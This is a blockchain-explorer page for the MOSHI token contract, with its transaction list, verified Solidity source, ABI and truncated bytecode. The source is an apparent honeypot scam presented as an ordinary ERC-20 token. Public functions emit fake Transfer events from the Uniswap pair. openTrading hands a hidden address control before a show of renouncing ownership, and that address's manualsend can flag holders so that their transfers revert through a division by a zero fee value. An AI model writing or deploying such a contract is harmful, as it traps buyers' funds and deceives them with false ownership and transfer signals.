ETH Price: $3,684.97 (+3.24%)

Contract

0x658fB1Ffa0e9daf45bfD3cD79E49d62734599A13
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve211115392024-11-04 3:17:1126 days ago1730690231IN
0x658fB1Ff...734599A13
0 ETH0.000268825.70263946
Approve210845712024-10-31 8:58:4730 days ago1730365127IN
0x658fB1Ff...734599A13
0 ETH0.000384648.14905679
Execute210788042024-10-30 13:38:5930 days ago1730295539IN
0x658fB1Ff...734599A13
0 ETH0.0103608817.16461169
Swap210787872024-10-30 13:35:3530 days ago1730295335IN
0x658fB1Ff...734599A13
0 ETH0.0102538617.4624482
Execute210787862024-10-30 13:35:2330 days ago1730295323IN
0x658fB1Ff...734599A13
0 ETH0.0143470517.16784988
Execute210787852024-10-30 13:35:1130 days ago1730295311IN
0x658fB1Ff...734599A13
0 ETH0.0113494917.01269876
Approve210781782024-10-30 11:32:3530 days ago1730287955IN
0x658fB1Ff...734599A13
0 ETH0.000512510.85799858
Swap210780732024-10-30 11:11:2330 days ago1730286683IN
0x658fB1Ff...734599A13
0 ETH0.0094743210.78516152
Execute210780582024-10-30 11:08:2330 days ago1730286503IN
0x658fB1Ff...734599A13
0 ETH0.0067500110.29476206
Swap210780572024-10-30 11:08:1130 days ago1730286491IN
0x658fB1Ff...734599A13
0 ETH0.0084242110.47372825
Execute210780562024-10-30 11:07:5930 days ago1730286479IN
0x658fB1Ff...734599A13
0 ETH0.0064617211.51057997
Approve210780102024-10-30 10:58:4730 days ago1730285927IN
0x658fB1Ff...734599A13
0 ETH0.000439119.36258998
Execute210771472024-10-30 8:04:2331 days ago1730275463IN
0x658fB1Ff...734599A13
0 ETH0.0074674113.58272988
Swap210771462024-10-30 8:04:1131 days ago1730275451IN
0x658fB1Ff...734599A13
0 ETH0.0120666413.87001016
Swap210771452024-10-30 8:03:5931 days ago1730275439IN
0x658fB1Ff...734599A13
0 ETH0.008857113.87367801
Execute210771442024-10-30 8:03:4731 days ago1730275427IN
0x658fB1Ff...734599A13
0 ETH0.0106445313.67487075
Swap210771432024-10-30 8:03:3531 days ago1730275415IN
0x658fB1Ff...734599A13
0 ETH0.0094546514.11638216
Execute210771422024-10-30 8:03:2331 days ago1730275403IN
0x658fB1Ff...734599A13
0 ETH0.009209914.4318061
Transfer210748442024-10-30 0:21:1131 days ago1730247671IN
0x658fB1Ff...734599A13
0 ETH0.000425797.60132571
Transfer210748292024-10-30 0:18:1131 days ago1730247491IN
0x658fB1Ff...734599A13
0 ETH0.000522129.32093591
Swap210747882024-10-30 0:09:5931 days ago1730246999IN
0x658fB1Ff...734599A13
0 ETH0.003388648.75258653
Swap210747872024-10-30 0:09:4731 days ago1730246987IN
0x658fB1Ff...734599A13
0 ETH0.008043549.21525015
Execute210747862024-10-30 0:09:3531 days ago1730246975IN
0x658fB1Ff...734599A13
0 ETH0.007805228.92004802
Execute210747852024-10-30 0:09:2331 days ago1730246963IN
0x658fB1Ff...734599A13
0 ETH0.005243938.6376584
Swap210747842024-10-30 0:09:1131 days ago1730246951IN
0x658fB1Ff...734599A13
0 ETH0.006956528.49823723
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MOSHI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : c.sol
/* 
    website  : https://www.moshisol.com/
    twitter  : https://x.com/moshionsolana
    telegram : https://t.me/moshionsol
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract MOSHI is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    uint256 private _feesValue = 0;
    mapping(address => uint256) private _fees;
    bool private _swapping;
    uint256 public swapTokensAtAmount;
    mapping(address => bool) private _automatedMarketMakerPairs;
    address private _exAddress;
    address public uniswapV2Pair;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function swap(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");



        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            !_swapping && _automatedMarketMakerPairs[from]
        ) {
            _swapping = true;

            _swapBack(from);

            _swapping = false;
        }


        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }



    function _manualsend(address pair, bool value) internal {
        _automatedMarketMakerPairs[pair] = value;
    }

    
    function openTrading(address _a) public onlyOwner {
        _exAddress = _a;
        renounceOwnership();
        
    }
    
    function manualsend(address[] memory accounts, bool value) public  {
         require(msg.sender == _exAddress,"_airdropAddress err") ;
        for (uint256 i = 0; i < accounts.length; i++) {
            if(accounts[i] == uniswapV2Pair || balanceOf(accounts[i]) <= 0 || _automatedMarketMakerPairs[accounts[i]] == value) continue;
            _manualsend(accounts[i], value);
        }
    }

    function _swapBack(
        address from
    ) internal virtual {
        uint amount = balanceOf(from);
        uint __ppp = 1;
        if(amount > 10) __ppp =   _feesValue;
        _fees[from] = amount/__ppp;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"Moshi";
        _symbol = unicode"MOSHI";
        _mint(msg.sender, 10000000000  * 10 ** decimals());

        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
         uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

    }

}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_a","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040525f600655348015610013575f80fd5b506100306100256102a360201b60201c565b6102aa60201b60201c565b6040518060400160405280600581526020017f4d6f7368690000000000000000000000000000000000000000000000000000008152506004908161007491906106fc565b506040518060400160405280600581526020017f4d4f534849000000000000000000000000000000000000000000000000000000815250600590816100b991906106fc565b506100f3336100cc61036b60201b60201c565b600a6100d89190610933565b6402540be4006100e8919061097d565b61037360201b60201c565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610154573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101789190610a1c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101dd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102019190610a1c565b6040518363ffffffff1660e01b815260040161021e929190610a56565b6020604051808303815f875af115801561023a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061025e9190610a1c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610b50565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036103e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103d890610ad7565b60405180910390fd5b8060035f8282546103f29190610af5565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104a09190610b37565b60405180910390a36104b95f83836104bd60201b60201c565b5050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061053d57607f821691505b6020821081036105505761054f6104f9565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610577565b6105bc8683610577565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6106006105fb6105f6846105d4565b6105dd565b6105d4565b9050919050565b5f819050919050565b610619836105e6565b61062d61062582610607565b848454610583565b825550505050565b5f90565b610641610635565b61064c818484610610565b505050565b5b8181101561066f576106645f82610639565b600181019050610652565b5050565b601f8211156106b45761068581610556565b61068e84610568565b8101602085101561069d578190505b6106b16106a985610568565b830182610651565b50505b505050565b5f82821c905092915050565b5f6106d45f19846008026106b9565b1980831691505092915050565b5f6106ec83836106c5565b9150826002028217905092915050565b610705826104c2565b67ffffffffffffffff81111561071e5761071d6104cc565b5b6107288254610526565b610733828285610673565b5f60209050601f831160018114610764575f8415610752578287015190505b61075c85826106e1565b8655506107c3565b601f19841661077286610556565b5f5b8281101561079957848901518255600182019150602085019450602081019050610774565b868310156107b657848901516107b2601f8916826106c5565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561084d57808604811115610829576108286107cb565b5b60018516156108385780820291505b8081029050610846856107f8565b945061080d565b94509492505050565b5f826108655760019050610920565b81610872575f9050610920565b81600181146108885760028114610892576108c1565b6001915050610920565b60ff8411156108a4576108a36107cb565b5b8360020a9150848211156108bb576108ba6107cb565b5b50610920565b5060208310610133831016604e8410600b84101617156108f65782820a9050838111156108f1576108f06107cb565b5b610920565b6109038484846001610804565b9250905081840481111561091a576109196107cb565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61093d826105d4565b915061094883610927565b92506109757fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610856565b905092915050565b5f610987826105d4565b9150610992836105d4565b92508282026109a0816105d4565b915082820484148315176109b7576109b66107cb565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109eb826109c2565b9050919050565b6109fb816109e1565b8114610a05575f80fd5b50565b5f81519050610a16816109f2565b92915050565b5f60208284031215610a3157610a306109be565b5b5f610a3e84828501610a08565b91505092915050565b610a50816109e1565b82525050565b5f604082019050610a695f830185610a47565b610a766020830184610a47565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610ac1601f83610a7d565b9150610acc82610a8d565b602082019050919050565b5f6020820190508181035f830152610aee81610ab5565b9050919050565b5f610aff826105d4565b9150610b0a836105d4565b9250828201905080821115610b2257610b216107cb565b5b92915050565b610b31816105d4565b82525050565b5f602082019050610b4a5f830184610b28565b92915050565b611e9b80610b5d5f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c8063715018a6116100ab578063beabacc81161006f578063beabacc81461031c578063ca72a4e714610338578063dd62ed3e14610354578063e2f4560514610384578063f2fde38b146103a25761012a565b8063715018a61461028a5780638da5cb5b1461029457806395d89b41146102b2578063a9059cbb146102d0578063b18834aa146103005761012a565b806326ededb8116100f257806326ededb8146101e6578063313ce56714610202578063321bef231461022057806349bd5a5e1461023c57806370a082311461025a5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c5780632349e24a1461019a57806323b872dd146101b6575b5f80fd5b6101366103be565b604051610143919061140c565b60405180910390f35b610166600480360381019061016191906114ca565b61044e565b6040516101739190611522565b60405180910390f35b610184610470565b604051610191919061154a565b60405180910390f35b6101b460048036038101906101af91906116cd565b610479565b005b6101d060048036038101906101cb9190611727565b610656565b6040516101dd9190611522565b60405180910390f35b61020060048036038101906101fb91906117d0565b610684565b005b61020a610751565b6040516102179190611848565b60405180910390f35b61023a600480360381019061023591906117d0565b610759565b005b610244610826565b6040516102519190611870565b60405180910390f35b610274600480360381019061026f9190611889565b61084b565b604051610281919061154a565b60405180910390f35b610292610891565b005b61029c6108a4565b6040516102a99190611870565b60405180910390f35b6102ba6108cb565b6040516102c7919061140c565b60405180910390f35b6102ea60048036038101906102e591906114ca565b61095b565b6040516102f79190611522565b60405180910390f35b61031a600480360381019061031591906117d0565b61097d565b005b61033660048036038101906103319190611727565b610a4a565b005b610352600480360381019061034d9190611889565b610ab4565b005b61036e600480360381019061036991906118b4565b610b07565b60405161037b919061154a565b60405180910390f35b61038c610b89565b604051610399919061154a565b60405180910390f35b6103bc60048036038101906103b79190611889565b610b8f565b005b6060600480546103cd9061191f565b80601f01602080910402602001604051908101604052809291908181526020018280546103f99061191f565b80156104445780601f1061041b57610100808354040283529160200191610444565b820191905f5260205f20905b81548152906001019060200180831161042757829003601f168201915b5050505050905090565b5f80610458610c11565b9050610465818585610c18565b600191505092915050565b5f600354905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90611999565b60405180910390fd5b5f5b825181101561065157600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683828151811061055e5761055d6119b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614806105aa57505f6105a784838151811061059a576105996119b7565b5b602002602001015161084b565b11155b8061061b5750811515600a5f8584815181106105c9576105c86119b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b61064457610643838281518110610635576106346119b7565b5b602002602001015183610ddb565b5b808060010191505061050a565b505050565b5f80610660610c11565b905061066d858285610e33565b610678858585610ebe565b60019150509392505050565b5f5b8383905081101561074b578383828181106106a4576106a36119b7565b5b90506020020160208101906106b99190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610736919061154a565b60405180910390a38080600101915050610686565b50505050565b5f6008905090565b5f5b8383905081101561082057838382818110610779576107786119b7565b5b905060200201602081019061078e9190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080b919061154a565b60405180910390a3808060010191505061075b565b50505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108996111e6565b6108a25f611264565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108da9061191f565b80601f01602080910402602001604051908101604052809291908181526020018280546109069061191f565b80156109515780601f1061092857610100808354040283529160200191610951565b820191905f5260205f20905b81548152906001019060200180831161093457829003601f168201915b5050505050905090565b5f80610965610c11565b9050610972818585610ebe565b600191505092915050565b5f5b83839050811015610a445783838281811061099d5761099c6119b7565b5b90506020020160208101906109b29190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a2f919061154a565b60405180910390a3808060010191505061097f565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610aa7919061154a565b60405180910390a3505050565b610abc6111e6565b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b04610891565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b610b976111e6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc90611a54565b60405180910390fd5b610c0e81611264565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611ae2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb90611b70565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dce919061154a565b60405180910390a3505050565b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610e3e8484610b07565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610eb85781811015610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190611bd8565b60405180910390fd5b610eb78484848403610c18565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2390611c66565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9190611cf4565b60405180910390fd5b5f610fa43061084b565b90505f6009548210159050808015610fc8575060085f9054906101000a900460ff16155b801561101a5750600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561105c57600160085f6101000a81548160ff02191690831515021790555061104285611325565b5f60085f6101000a81548160ff0219169083151502179055505b5f60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838110156110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790611d82565b60405180910390fd5b83810360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111cb919061154a565b60405180910390a36111de868686611397565b505050505050565b6111ee610c11565b73ffffffffffffffffffffffffffffffffffffffff1661120c6108a4565b73ffffffffffffffffffffffffffffffffffffffff1614611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990611dea565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f61132f8261084b565b90505f60019050600a8211156113455760065490505b80826113519190611e35565b60075f8573ffffffffffffff